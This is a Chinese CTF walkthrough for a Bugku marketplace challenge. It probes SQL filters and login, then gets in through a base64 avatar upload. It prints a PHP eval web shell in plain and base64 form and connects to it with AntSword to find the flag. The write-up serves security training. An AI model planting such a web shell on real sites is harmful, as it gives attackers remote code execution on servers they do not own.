Bugku CTF 每日一题 xxx二手交易市场

xxx二手交易市场

打开看见是一个网站 所以从零开始测试
1.首先点开一个商品 往下滑有回复框 但是要先注册 所以等注册了再来测试
2.搜索栏也不能用 暂时放过，不过在二手界面发现了一个搜索框 输入一般的sql查询发现好像过滤了# ‘’“”等
3.求购 公告栏也没什么可以利用的
4.发现登录注册框 先爆破一下，不过有验证码爆破不行还要识别验证码，先放放
5.先注册一个账号
看了一下功能，先上个商品看看?

额 要管理员验证 走不通
邮箱签名那块也是有输入验证
再去看看回复框
好像没什么用

再翻了翻 还有上传头像可以用 打开burpsuite
随便传一个 发现用了base64 先解码看看
发现前面不对劲 有%好像是unicode，所以先丢进unicode

参考链接：https://www.cnblogs.com/wsh-ning/p/7463101.html

1.形如："data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAA......==" 的字符串就是base64。

2.data:image/jpeg;base64,为头部信息，其余为图片编码。

3.使用base64_decode对编码内容进行解码。

4. 编码后的数据比原始数据略长，为原来的4/3。因为：三个字节有24个位元，就可以刚好对应于4个Base64单元，即3个字节需要用4个Base64的可打印字符来表示。

所以在后面把图片加一句话码并且要base64编码

用蚁剑连一下 发现返回数据为空？？？
研究了许久后发现 tnnd base64网站编译出错了
用下面这个base64就能过

<?php @eval($_POST['cmd']);?>

PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

用这个就过不了

JTNDJTNGcGhwJTIwQGV2YWwlMjglMjRfUE9TVCU1QiUyN2NtZCUyNyU1RCUyOSUzQiUzRiUzRQ==

过了之后用蚁剑连接 然后用find命令直接找
找到flag